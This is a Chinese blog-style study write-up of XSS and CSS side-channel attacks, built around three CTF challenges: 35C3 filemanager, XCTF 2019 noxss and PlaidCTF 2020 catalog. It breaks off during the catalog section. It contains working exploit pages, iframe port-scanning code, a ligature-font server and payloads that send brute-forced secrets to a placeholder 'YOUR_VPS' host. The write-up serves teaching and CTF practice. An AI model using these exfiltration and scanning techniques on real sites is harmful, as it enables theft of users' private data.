近期学习总结了一下侧信道相关的知识，做了几道典型的题。这几道题很多师傅也写过详细的wp，在参考师傅们思路的基础上复现了一下（膜师傅们），文章的内容主要是把这几道题的知识点拎出来总结了一下。第一次投稿，师傅们轻喷，如果有说的不对的地方，欢迎师傅们交流指正quq。
# 侧信道攻击简介
侧信道攻击的概念来源于密码学，下面是维基百科对其的解释：
> 在密码学中， **旁道攻击** 又称 **侧信道攻击** 、 **边信道攻击** （英语：Side-channel
> attack）是一种攻击方式，它基于从密码系统的物理中获取的信息而非暴力破解法或是算法中的理论性弱点（较之密码分析）。例如：时间信息、功率消耗、电磁]泄露或甚是声音可以提供额外的信息来源，这可被利用于对系统的进一步破解。某些侧信道攻击还要求攻击者有关于密码系统内部操作的技术性信息，不过，其他诸如[差分电力分析](https://zh.wikipedia.org/wiki/电力分析)的方法在黑盒攻击中效果明显。许多卓有成效的侧信道攻击基于由保罗·科切开拓的统计学方法。
简单来说，侧信道就是利用侧信息(Side
Channel)来高效地绕过或突破某些防御，而避免一些低效的爆破等。对于XSS侧信道，大多是利用一些可能有利于XSS但又并非属于XSS代码本身范畴的特性来绕过一些Waf从而实现侧信道攻击，而XSS侧信道攻击的结果拓展了XSS的某些"鸡肋"，更加巧妙的泄露出数据进而获取。
下面我们通过几道题目来学习关于XSS侧信道的相关知识点
# 35C3 CTF filemanager
这道题重点考察了以下内容
1. iframe的onload
2. XSS Auditor特性
3. 利用侧信道读取数据并外带数据
## 题目说明
> Check out my web-based filemanager running at
> [https://filemanager.appspot.com](https://filemanager.appspot.com/).
> The admin is using it to store a flag, can you get it? You can reach the
> admin's chrome-headless at: nc 35.246.157.192 1
题目一开始给了两个接口，给出了地址的web应用和管理员入口：`nc 35.246.157.192 1`
**1.web应用**
1. 创建文件：可以自定义文件名，文件内容，并对文件进行存储，header中设置了`xsrf = 1`来防止csrf文件读取：
2. 文件读取：GET请求，且响应头中定义
content-type:text/plain
x-content-type-options: nosniff
1. 文本查询：如果文本不存在将会返回`<h1>no results</h1>`，如果文本存在，将会返回
<h1>test</h1>
<pre>diggid</pre>
<script>
(()=>{
for (let pre of document.getElementsByTagName('pre')) {
let text = pre.innerHTML;
let q = 'diggid';
let idx = text.indexOf(q);
pre.innerHTML = `${text.substr(0, idx)}<mark>${q}</mark>${text.substr(idx+q.length)}`;
}
})();
</script>
上面这段代码的作用就是高亮已存在的文本内容`diggid`
**2.nc接口**
nc连上去后，会要求用Node.js的proof-of-work包进行验证计算，相当于一层简单的验证码，用一行命令即可算出验证码并提交：
proof-of-work <prefix> <difficulty>
校验成功就可以输入一个URL，管理员bot会访问这个URL(显然是模拟用户访问恶意构造的页面)
**3.目标**
题目说明中告诉了我们flag被admin用户存储了起来，如果是以admin用户的身份访问这个web应用，我们利用文本查询的功能可以获取flag。
## iframe的onload
利用iframe的onload和chrome-error://chromewebdata/可以用来进行 **端口扫描**
，Chrome浏览器中的iframe标签，在对一个URL发送请求时，添加onload事件，无论是否请求成功，都会触发onload事件，但要注意：只有URL改变时才会触发onload事件，添加锚点`#`而URL未改变不会触发onload事件。当浏览器在向一个没有被服务器监听的端口发送请求时，显示错误页面，此时URL变为chrome-error://chromewebdata/。端口扫描的代码如下：
<script>
var iframe = document.createElement('iframe');
var url = "http://192.168.170.129:6666/";
iframe.onload = () => {
iframe.onload = () => {
console.log('端口不存在');
};
iframe.src = iframe.src + "#";
};
iframe.src = url;
document.body.appendChild(iframe);
</script>
先给iframe设置好onload事件和url(该url为要探测的地址+端口)，在外层onload事件内部，修改url为`url +
#`，并在内部重新定义了onload事件。
* 如果端口存在，则当资源加载完毕后，触发外层onload事件，而此时`iframe.src`仍为原来的URL，内部的onload事件不会触发
* 如果端口不存在，此时的`iframe.src`变为`chrome-error://chromewebdata/`，URL改变重新请求新的资源，触发内层onload事件，从而打印出`端口不存在`
> **关于onload事件，还要注意的是，如果有多层onload，当改变URL时，只触发与修改URL语句就近的那层onload**
上述代码还可以替换为用计数器来记录外层onload事件的触发次数，从而判断URL是否改变
<script>
var iframe = document.createElement('iframe');
var url = "http://192.168.170.129:6666/";
var count = 0;
iframe.onload = () => {
count++;
if(count > 1){
console.log("端口不存在");
}
if(count < 2){ //防止无限onload
iframe.src = iframe.src + "#";
}
};
iframe.src = url;
document.body.appendChild(iframe);
</script>
## XSS Auditor 和 chrome-error
Chrome中存在一个特性XSS Auditor：当在请求中匹配到了源码中的脚本，则会阻止该请求，并跳转到chrome-error://chromewebdata/(或者扫描到没有监听服务的端口也会跳转到该页面)。前面所说的文本查询部分，成功或失败存在两种状态，假设我们提交了如下URL
https://filemanager.appspot.com/search?q=diggid&%3Cscript%3E%20%20%20%20%28%28%29%3d%3E%7b%0a%20%20%20%20%20%20for%20%28let%20pre%20of%20document%2egetElementsByTagName%28%27pre%27%29%29%20%7b%0a%20%20%20%20%20%20%20%20let%20text%20%3d%20pre%2einnerHTML%3b
假设文本中存在`diggid`，因此就会返回查询成功时的代码，同时检测到URL中存在和代码相同的部分，则会阻止该请求并跳转到chrome-error://chromewebdata/(对应上面端口扫描不存在的情况)。假设文本中不存在`diggid`，则会返回`<h1>no
results</h1>`，页面不会跳转。这一部分就和上面的端口扫描的思想一样了。因此爆破flag的思路就比较清晰了，上述原理就是利用了侧信道的思想来获取数据。
## 数据外带
梳理以下爆flag的流程：1.构造侧信道获取flag的页面；2.发送给管理员bot访问
管理员bot访问后爆出的flag我们没办法获取，这里有两种方式来使得数据外带：
1. 在爆破出flag的情况(onload触发两次)内再加一层onload，修改`iframe.src = 'http://YOUR_VPS:PORT/?flag='+encodeURIComponent(flag + char)`，也就是说每次爆出字符后，会请求自己vps， **vps上监听一下就可以得到数据回显了**
2. 如果是本地测试(flag放在本地)，管理员bot的身份相当于自己，访问之后数据可以回显到自己浏览器中。可以将方法1替换为`console.log(encodeURIComponent(flag + char))`
## 利用代码
我们根据上面的思想构造利用代码如下：
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
</head>
<body>
<script>
var URL = 'https://filemanager.appspot.com/search?q=flag&a=%3Cscript%3E%20%20%20%20%28%28%29%3d%3E%7b%0a%20%20%20%20%20%20for%20%28let%20pre%20of%20document%2egetElementsByTagName%28%27pre%27%29%29%20%7b%0a%20%20%20%20%20%20%20%20let%20text%20%3d%20pre%2einnerHTML%3b';
var charset = '_abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ!"#$%&\'()*+,-./:;<=>?@[\\]^`{|}~ ';
var flag = '35C3'; /*35C3_xss_auditor_for_the_win*/
function GetFlag(i, flag) {
if(i >= 94)
return;
var real_flag = flag + charset[i];
var iframe = document.createElement('iframe');
var count = 0;
iframe.onload = function () {
count++;
if (count > 1) {
flag = real_flag;
i = -1; //递归重置
iframe.onload = () => {}; //发送请求外带数据
iframe.src = 'http://YOUR_VPS:PORT/?flag=' + encodeURIComponent(real_flag); # 外带数据
}
iframe.src = iframe.src + '#';
};
iframe.src = URL.replace('flag', real_flag);
document.body.appendChild(iframe);
timer = setTimeout(() => {
document.body.removeChild(iframe);
GetFlag(i + 1, flag);
}, 2000); //设置延时保证onload加载完成
}
GetFlag(0, flag);
</script>
</body>
</html>
将上述代码保存为exp.html，发送URL给管理员bot访问，最后在自己vps的log中可以得到flag
**参考**
<https://www.secpulse.com/archives/94995.html>
<https://xz.aliyun.com/t/3778#toc-1>
<https://github.com/sroettger/35c3ctf_chals>
# XCTF 2019 Final noxss
在做这道题之前，我们需要先了解一些前置知识，题目场景简化如下：
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<?php
$token1 = md5($_SERVER['HTTP_USER_AGENT']);
$token2 = md5($token1);
?>
<input type=hidden value=<?=$token1 ?>>
<script>
var TOKEN = "<?=$token2 ?>";
</script>
<style>
<?=preg_replace('#</style#i', '#', $_GET['css']) ?>
</style>
</body>
</html>
题目要求比较简单，设置了两个token，第一个需要从`<input>`标签获取，第二个需要从`<script>`中获取，可控的部分只有`$_GET['css']`传入的css参数，其夹在`<style>`标签中，也就是说这个css参数其实也就是css样式。因此我们需要利用css侧信道来搞事情。关于token1如何获取，由于篇幅原因，这里就不过多解释了。主要来看和该题相关的token2如何获取。
## 获取`<script>`中的token2
### demo
在获取token2之前，我们先了解一下什么是连字
>
> 字体中的连字至少由两个具有图形形式的字符序列组成。多个字符序列组成的连字就代表一个字符，其在Unicode中有相应的字符编码。调整字距不会影响连字中字符序列的距离。最常见的有`fi`的连字`fi`。更多详细的说明可参考：
>
> * <http://www.mzh.ren/ligature-intro.html>
> * <https://webzhao.me/ligatures.html>
>
我们可以利用fontforge([安装fontforge](http://designwithfontforge.com/zh-CN/Installing_Fontforge.html))来自定义生成字体(包括连字)
> 现代浏览器已经不支持 SVG 格式的字体了，我们可以利用 fontforge 将 SVG 格式转换成 WOFF 格式
准备一个script.fontforge文件将.svg转换为.woff
#!/usr/bin/fontforge
Open($1)
Generate($1:r + ".woff")
再准备我们构造好的test.svg文件，该文件中定义了名为`diggid`的字体，该字体中有：a-z 26个0宽度字母，hack这个宽度为9000的连字
<svg>
<defs>
<font id="diggid" horiz-adv-x="0">
<font-face font-family="hack" units-per-em="1000" />
<missing-glyph />
<glyph unicode="a" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="b" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="c" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="d" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="e" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="f" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="g" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="h" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="i" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="j" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="k" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="l" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="m" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="n" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="o" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="p" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="q" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="r" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="s" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="t" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="u" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="v" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="w" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="x" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="y" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="z" horiz-adv-x="0" d="M1 0z"/>
<glyph unicode="hack" horiz-adv-x="9000" d="M1 0z"/>
</font>
</defs>
</svg>
执行以下命令生成test.woff文件
fontforge ./script.fontforge test.svg
接下来我们需要利用连字来搞一些事情。由于我们上面的字体中设置了`hack`连字，其字体宽度为9000，如果通过固定大小的iframe框引入时因为其宽度过大所以会出现滚动条，则在css代码中触发滚动条事件发出URL请求
<style>
@font-face {
font-family: "hack";
src: url("./test.woff"); //引入字体
}
span {
background: lightblue;
font-family: "hack";
}
body {
white-space: nowrap; //宽度过长不换行，保证出现横向的滚动条
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
background: url(http://127.0.0.1:8888); //出现滚动条发起请求给本地的8888端口
}
</style>
将上述页面保存在test.html中
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
</head>
<body>
<style>
@font-face {
font-family: "hack";
src: url("./test.woff");
}
span {
background: lightblue;
font-family: "hack";
}
body {
white-space: nowrap;
}
body::-webkit-scrollbar {
background: blue ;
}
body::-webkit-scrollbar:horizontal {
background: url(http://127.0.0.1:8888);
}
</style>
<span id=span>0807hack</span>
</body>
</html>
如果直接访问上述页面的话，宽度不够不会出现滚动条。所以需要通过另一个页面通过iframe标签引入
iframe.html
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
</head>
<body>
<iframe src="http://127.0.0.1/noxss/test.html" frameborder="0" width="100px"></iframe>
</body>
</html>
本地监听8888端口然后浏览器访问iframe.html页面
可以看到成功发出请求到8888端口
### 爆破token2
根据上面的demo我们可以知道宽度足够大的连字可以发出请求，那么我们便可以利用类似35c3的方法来爆破得到token2，将我们猜测的字符串设置为连字，宽度很大，可以设置为100000，保证宽度溢出出现滚动条，且格式为`xctf{*.}`而其余可见字符宽度设置为0。通过控制css设置`<script>`标签中的字体为上述我们设置的字体，如果出现了我们猜测的连字，则会加载连字，出现滚动条进而发出请求。如果未出现，则全部按宽度为0加载，不会出现滚动条。以上是大致的思路，为实现自动化，我们需要准备如下：
**1.部署一个生成.woff文件的服务器，根据路由参数(猜测的字符)来生成并发送.woff文件**
这里直接使用那位波兰作者的代码，用nodejs起的一个服务
const express = require('express');
const app = express();
// Serwer ExprssJS domyślnie dodaje nagłówek ETag,
// ale nam nie jest to potrzebne, więc wyłączamy.
app.disable('etag');
const PORT = 9999;
const js2xmlparser = require('js2xmlparser');
const fs = require('fs');
const tmp = require('tmp');
const rimraf = require('rimraf');
const child_process = require('child_process');
// Generujemy fonta dla zadanego przedrostka
// i znaków, dla których ma zostać utworzona ligatura.
function createFont(prefix, charsToLigature) {
let font = {
"defs": {
"font": {
"@": {
"id": "hack",
"horiz-adv-x": "0"
},
"font-face": {
"@": {
"font-family": "hack",
"units-per-em": "1000"
}
},
"glyph": []
}
}
};
// 将0x20-0x7e的可见字符生成宽度为0的字体
let glyphs = font.defs.font.glyph;
for (let c = 0x20; c <= 0x7e; c += 1) {
const glyph = {
"@": {
"unicode": String.fromCharCode(c),
"horiz-adv-x": "0",
"d": "M1 0z",
}
};
glyphs.push(glyph);
}
// 生成连字
charsToLigature.forEach(c => {
const glyph = {
"@": {
"unicode": prefix + c,
"horiz-adv-x": "10000",
"d": "M1 0z",
}
}
glyphs.push(glyph);
});
// 利用xml解析为.svg文件
const xml = js2xmlparser.parse("svg", font);
// A następnie wykorzystujemy fontforge
// do zamiany SVG na WOFF.
const tmpobj = tmp.dirSync();
fs.writeFileSync(`${tmpobj.name}/font.svg`, xml);
child_process.spawnSync("/usr/bin/fontforge", [
`${__dirname}/script.fontforge`,
`${tmpobj.name}/font.svg`
]);
const woff = fs.readFileSync(`${tmpobj.name}/font.woff`);
// Usuwamy katalog tymczasowy.
rimraf.sync(tmpobj.name);
// I zwracamy fonta w postaci WOFF.
return woff;
}
// Endpoint do generowania fontów.
app.get("/font/:prefix/:charsToLigature", (req, res) => {
const { prefix, charsToLigature } = req.params;
// Dbamy o to by font znalazł się w cache'u.
res.set({
'Cache-Control': 'public, max-age=600',
'Content-Type': 'application/font-woff',
'Access-Control-Allow-Origin': '*',
});
res.send(createFont(prefix, Array.from(charsToLigature)));
});
// Endpoint do przyjmowania znaków przez połączenie zwrotne
app.get("/reverse/:chars", function(req, res) {
res.cookie('chars', req.params.chars);
res.set('Set-Cookie', `chars=${encodeURIComponent(req.params.chars)}; Path=/`);
res.send();
});
app.get('/cookie.js', (req, res) => {
res.sendFile('js.cookie.js', {
root: './node_modules/js-cookie/src/'
});
});
app.get('/index.html', (req, res) => {
res.sendFile('index.html', {
root: '.'
});
});
app.listen(PORT, () => {
console.log(`Listening on ${PORT}...`);
})
这里只需用到/font的路由来生成并获取.woff文件。
**2.调用服务API并接收字体用于爆破的页面test.html，设置css逐位爆破**
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<script>
var token2 = "xctf{diggid}";
</script>
<style>
@font-face {
font-family: "hack";
src: url(http://192.168.170.129:9999/font/xctf%7b/d);
}
script {
display: table;
font-family: "hack";
white-space: nowrap;
background: lightblue;
}
body::-webkit-scrollbar {
background: blue;
}
body::-webkit-scrollbar:horizontal {
display: block;
background: blue url(http://127.0.0.1:8888);
}
</style>
</body>
</html>
在demo的场景中，由于css是可控的，因此我们在`<style>`标签中插入相应的css内容：将script标签显示`display:
table`，并将script标签的字体设置为从服务器接收的字体，禁止空白换行
**3.通过iframe标签引入test.html触发滚动条发送请求外带数据**
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>Document</title>
</head>
<body>
<iframe src="http://127.0.0.1/test.html" style="width:500px"></iframe>
</body>
</html>
但是上述过程仍不能实现自动化爆破，因此我们还需改造一下test.html实现逐位爆破，但在实际的利用过程中，由于`<script>`标签解析顺序、字体缓存等问题可能会导致利用失败，在不恰当的情况下发送请求。因此我们需要改进一下触发请求的方式。
这里参考zsx师傅的做法：<https://xz.aliyun.com/t/6655#toc-5>
**具体的思路如下:**
1.先将ifame页面宽度设置为很大(100000px)，保证提前不会出现滚动条(由于iframe标签加载资源时`<script>`标签内容先解析可能会先出现滚动条并触发请求，然后才解析完字体，因此顺序不当)
2.隐藏页面中的所有元素，仅显示script标签的元素
3.iframe加载资源完成后，触发onload事件，将iframe页面宽度再缩小为10px，即可让连字宽度溢出稳定触发滚动条
上述过程保证了宽度溢出是连字导致的而非script标签其他内容导致的。
## 回到原题
基本上利用思路和token2完全相同，但是我们需要先绕过题目限制，注入css代码。
题目中输入theme参数拼接在css样式的@import语句中
@import url("/static/css/${css}/bootstrap.min.css");
**绕过import**
根据css文档，css中的换行方式如下：%0a %0d %0f
并且css的错误兼容性强，也就是说，对于一些错误的语法，css会忽略。因此我们需要利用换行来使整个import变成错误无效的语句，从而注入我们的css代码，因此我们通过以下形式可以使import失效并注入css代码
%0a){}/*在此注入*/
对于上述payload的理解：%0a换行导致import语句失效，猜测`(`未解析完毕，需要`)`要闭合，然后再注入`{}`空样式来使得css语法解析正常，之后即可任意注入css代码
可以任意注入css代码后，我们便可像上面所述思路构造自动化的爆破页面，这里每次访问只能得到一位的flag，因为发送URL这一状态(即爆破成功的状态)不容易获取，所以这里不考虑一次性爆破整个flag的脚本。
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
</head>
<body>
<script>
const charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789{}_'.split('');
let prefix = "xctf{";
charset.forEach(c => {
var css = '?theme=\n){}'
css += `body{overflow-y:hidden;overflow-x:auto;white-space:nowrap;display:block}html{display:block}*{display:none}body::-webkit-scrollbar{display:block;background: blue url(http://127.0.0.1:8888/?${encodeURIComponent(prefix+c)})}`
css += `@font-face{font-family:a${c.charCodeAt()};src:url(http://127.0.0.1:9999/font/${prefix}/${c});}`
css += `script{font-family:a${c.charCodeAt()};display:block}`
document.write(`<iframe scrolling=yes samesite src="http://127.0.0.1:60000/account/userinfo?theme=${encodeURIComponent(css)}" style="width:1000000px" onload="event.target.style.width='100px'"></iframe>`);
});
</script>
</body>
</html>
由于没有题目环境，自己用node.js搭建了一个类似的环境，和demo差不多。然后逐位爆破的结果如下：
**参考**
[XCTF Final NOXSS 攻击技术详细分析](https://xz.aliyun.com/t/6812?page=1#toc-5)
[XCTF final 2019 Writeup By ROIS](https://xz.aliyun.com/t/6655#toc-5)
[Wykradanie danych w świetnym stylu – czyli jak wykorzystać CSS-y do ataków na
webaplikację](https://sekurak.pl/wykradanie-danych-w-swietnym-stylu-czyli-jak-wykorzystac-css-y-do-atakow-na-webaplikacje/)
[通过css注入窃取html中的数据](https://www.smi1e.top/%E9%80%9A%E8%BF%87css%E6%B3%A8%E5%85%A5%E7%AA%83%E5%8F%96html%E4%B8%AD%E7%9A%84%E6%95%B0%E6%8D%AE/)
# PlaidCTF 2020 catalog
一题比一题虾仁猪心:)
## 题目介绍
[题目的仓库](https://github.com/bluepichu/ctf-challenges/tree/master/plaidctf-2020/catalog/problem) &
[官方wp](https://dttw.tech/posts/B19RXWzYL)
### 题目描述
题目给出了admin bot、flag所在页面和flag格式、四条hints。
除此之外，题目是黑盒环境，有以下几项功能：
* 登录注册
* 发表issue，admin可查看(明显要xss)
### 注入点
通过观察和测试可以发现三个注入点，这几个注入点对后续外带flag比较关键
1. 提交issue处输入image的url时存在html注入
2. 登录失败时，无过滤回显登录时输入的username，因此在username存在html注入
3. 题目存在session，且session中存储html元素，若用已登录成功的session发送一个username错误
### CSP限制
题目设置了如下CSP
Content-Security-Policy: default-src 'nonce-xhncdWd319Yj3acHJbKoEWmK8stBxy88'; img-src *; font-src 'self' fonts.gstatic.com; frame-src https://www.google.com/recaptcha/
## 前置知识
要想完成这道题目，首先需要了解以下的技术和特性
* User Activation(暂且称为用户激活状态)
* uBlock
* Text Fragments
* lattering
上述特性和概念主要和chrome浏览器的相关特性有关，下面我们详细介绍
### User Activation
对于这部分的知识，可以参考[User Activation
v2](https://www.chromestatus.com/feature/5722065667620864)、[User Activation v2
(UAv2)](https://mustaqahmed.github.io/user-activation-v2/)
对于这一概念，搜一下可以得到解释
> User activation is the mechanism to maintain active-user-interaction state
> that limits use of “abusable” APIs (e.g. opening popups or vibrating).
简单来说，User
Activation主要作用是保持与用户的交互状态，防止加载恶意的API，比如弹窗或者振动等。用户与浏览器的交互状态移位着某种行为的输入，可以简单理解为"点击"、"打字"等或者页面加载完毕后的某些交互(滚动条等)。恶意的API通常会通过`window.open()`等方式来在用户的浏览器中进行一些恶意的操作，比如任意弹窗等。而User
Activation便可发挥作用，其在用户为与浏览器交互，即未激活User
Activation时，会阻止恶意API的功能。在chrome中，有30多种API受到用户激活状态的控制，如全屏，自动播放， **还有我们下面要说的Text
Fragments**
### uBlock
这个uBlock目前看来是配合User Activation来保持用户激活状态的。又是一段英文的解释
> uBlock Origin (or uBlock) is not an _ad blocker_ ; it’s a general-purpose
> blocker. uBlock Origin blocks ads through its support of the [Adblock Plus
> filter syntax](https://adblockplus.org/en/filters). uBlock Origin
> [extends](https://github.com/gorhill/uBlock/wiki/Filter-syntax-extensions)
> the syntax and is designed to work with custom rules and filters.
> Furthermore, advanced mode allows uBlock Origin to work in [default-deny
> mode](https://github.com/gorhill/uBlock/wiki/Dynamic-filtering:-default-> deny), which mode will cause [all 3rd-party network
> requests](https://requestpolicycontinued.github.io/#what-are-cross-site-> requests) to be blocked by default, unless allowed by the user.
简单来说，就是uBlock并非只是一个广告的blocker(过滤广告)，其实际上可以通过自定义规则来过滤页面元素，是一个通用的blocker。除此之外，我们看到该题作者在hint中的解释
> Hint 1 + inclusion of uBlock: admin clicks on a link which gives a user
> activation to the active frame, **uBlock sends a postMessage to its
> extension iframe, which duplicates the user activation**. Whenever a page
> loads, the frontend gets a postMessage from the uBlock frame, and **thus
> duplicates the activation back again.**
我们暂且不深究uBlock代码层面的实现方式，就从hint来说的话uBlock能帮助我们多次激活用户激活状态，有利于我们接下来要说的一系列操作。
### Text Fragments
这个是Chrome的特性：[New in Chrome
80](https://developers.google.com/web/updates/2020/02/nic80#more)
在题目介绍中知道，要获取flag，我们必须通过某种侧信道的方式来匹配到flag，并且根据flag的格式`/^PCTF\{[A-Z0-9_]+\}$/`，我们假设flag为`PCTF{FLAG}`，Text
Fragments的特性为匹配flag提供了帮助
该特性能使用`#:~:text=something`这样的语法来使得页面滑动到`something`的位置并高亮匹配的字符串，有点类似`ctrl+f`的功能或者锚的作用。这里介绍一下该特性的用法和坑点，具体参考：
[Text Fragments](https://wicg.github.io/ScrollToTextFragment/)
* 语法：
#:~:text=[prefix-,]textStart[,textEnd][,-suffix][&text=...]
context |-------match-----| context
根据上面的图示，前缀和后缀并非匹配到的文本，只是用于限制上下文，中间的`textStart`和`textEnd`才是真正用于匹配文本的部分
* 只能匹配一个完整单词或多个单词，不能匹配单词中的部分
比如在文档里给出的例子，要想匹配range，只能匹配到`mountain range`中的，而不能匹配到`color orange`中的
* 只能匹配在同一块(同一标签)中的单词
>
> :~:text=The quick
>
> not match:
>
>
> <div>The<div> </div>quick brown fox</div>
>
> match:
>
>
> <div>The quick brown fox</div>
假设我们用`#:~:text=P-,C,T,-F`去flag是不成功的，因为无法匹配单个字符，所以我们要想办法把同一块中的字符串拆分为多个字符，每个字符占一块。这就涉及下面的lettering方法
除此之外，我们还需要考虑一个问题，前面的User Activation和uBlock到底有什么作用？
对应Text Fragments的机制，chrome对其作出了一些限制和解释：
> The examples above illustrate that in specific circumstances, it may be
> possible for an attacker to extract 1 bit of information about content on
> the page. However, care must be taken so that such opportunities cannot be
> exploited to extract arbitrary content from the page by repeating the attack
> **. For this reason, restrictions based on user activation and browsing
> context isolation are very important and must be implemented.**
上面这段话的意思就是说：利用Text Fragments，攻击者可能会任意leak出页面内容，所以要严格的通过User
Activation来控制这一机制。还由一句补充的解释
> **In summary, the text fragment directives are invoked only on full
> navigations that are the result of a user activation.**
这里结合hint1可以了解到出题人的意图大致是：让我们利用管理员点击一个我们提交的URL链接，此时会激活User
Activation，而通过uBlock我们可以保持User Activation，这样才能使用Text
Fragments来leak出flag。(这里只是结合文档资料的理解，并没有从代码层面深究)。
> 注：首先User Activation是必须存在的，否则Text
> Fragments不能使用，但对于uBlock存在的意义，可以在本地做题环境中模拟管理员，并在chrome中关闭uBlock扩展来测试原先的exp是否还能复现成功，若不成功，可说明的确需要uBlock配合。
### lettering
在页面中引入了如下js文件
<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/3.4.1/jquery.min.js" nonce="Lb+i9i7nwe2rCiMsSCig2ovMYVix6gu0"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/lettering.js/0.7.0/jquery.lettering.min.js" nonce="Lb+i9i7nwe2rCiMsSCig2ovMYVix6gu0"></script>
<script src="/js/main.js" nonce="Lb+i9i7nwe2rCiMsSCig2ovMYVix6gu0"></script>
并且在main.js中发现`$("em").lettering();`
为什么要提到这段代码呢，这里要说到`lettering`这个API：[Lettering.js wiki - Wrapping letters with
lettering()](https://github.com/davatron5000/Lettering.js/wiki/Wrapping-letters-with-lettering\())
假设有如下代码：
<h1 class="fancy_title">Some Title</h1>
当我们引入jquery.min.js和jquery.lettering.min.js这两个文件并插入如下代码
<script src="path/to/jquery.min.js"></script>
<script src="path/to/jquery.lettering.min.js"></script>
<script>
$(document).ready(function() {
$(".fancy_title").lettering(); //选择fancy_title的内容调用lettering()方法
});
</script>
然后会产生如下的结果
<h1 class="fancy_title">
<span class="char1">S</span>
<span class="char2">o</span>
<span class="char3">m</span>
<span class="char4">e</span>
<span class="char5"></span>
<span class="char6">T</span>
<span class="char7">i</span>
<span class="char8">t</span>
<span class="char9">l</span>
<span class="char10">e</span>
</h1>
也就是说，对于`$("em").lettering()`这段代码，题目已经提供了便利，当我们利用html代码注入插入`<em>`标签时，其内容会拆分为分块字符。这样也就可以配合Text
Fragments进行flag的匹配了
## 匹配技巧
### 判断匹配成功
有了上面的前置知识，这里还要组合起来利用，对于Text Fragments的匹配，我们如何判断是否选中成功呢？在官方exp中是这样判断：
1. 首先我们知道同一session可以存储一定的html元素，在登录状态下，仍可以利用fetch no-cors来更新界面，从而登录失败在另一个有同一session的页面下进行html代码注入
2. 注入足够多的`<br>`标签，从而使flag位于页面视图之外(需要拉动滚动条)，然后在`<br>`后利用`<img src='xxx' loading=lazy>`来加载图片并src请求来判断，并且这个图片是懒加载机制(位于用户浏览器视图内才会加载，否则不加载)
3. 由于一开始图片位于视图外，所以图片不加载，如果利用Text Fragments匹配到flag，则由于多个`<br>`，页面先滚动到flag的位置，这时图片位于视图内，于是加载，设置`src = 'http://vps'`发送请求，通过自己的vps上是否接收到请求来判断是否匹配到flag
图片未加载 -> 匹配到flag -> 发送请求
-> 未匹配flag
关于图片的懒加载机制：[Lazily load iframes and images via ‘loading’
attribute](https://chromestatus.com/feature/5645767347798016)
>
> 只有当用户窗口页面内关注到`<img>`标签时，该标签才能加载对应的资源。我们可以使用`<img>`原生属性`loading=lazy`来实现，Chrome
> 76以后的版本都已实现了该功能
### 二分爆破
根据 flag 的格式`/^PCTF\{[A-Z0-9_]+\}$/`，我们可以构造如下URL(包括所有的可能字符)
http://catalog.pwni.ng/issue.php?id=3#:~:text=T-,F,{,-}&text=T-,F,{,-0&text=T-,F,{,-1&text=T-,F,{,-2&text=T-,F,{,-3&text=T-,F,{,-4&text=T-,F,{,-5&text=T-,F,{,-6&text=T-,F,{,-7&text=T-,F,{,-8&text=T-,F,{,-9&text=T-,F,{,-A&text=T-,F,{,-B&text=T-,F,{,-D&text=T-,F,{,-E&text=T-,F,{,-F&text=T-,F,{,-G&text=T-,F,{,-H&text=T-,F,{,-I&text=T-,F,{,-J&text=T-,F,{,-K&text=T-,F,{,-L&text=T-,F,{,-M&text=T-,F,{,-N&text=T-,F,{,-O&text=T-,F,{,-P&text=T-,F,{,-Q&text=T-,F,{,-R&text=T-,F,{,-S&text=T-,F,{,-T&text=T-,F,{,-U&text=T-,F,{,-V&text=T-,F,{,-W&text=T-,F,{,-X&text=T-,F,{,-Y&text=T-,F,{,-Z&text=T-,F,{,-_
我们利用二分加快爆破速度，先将所有text情况分半，假设分成如下：
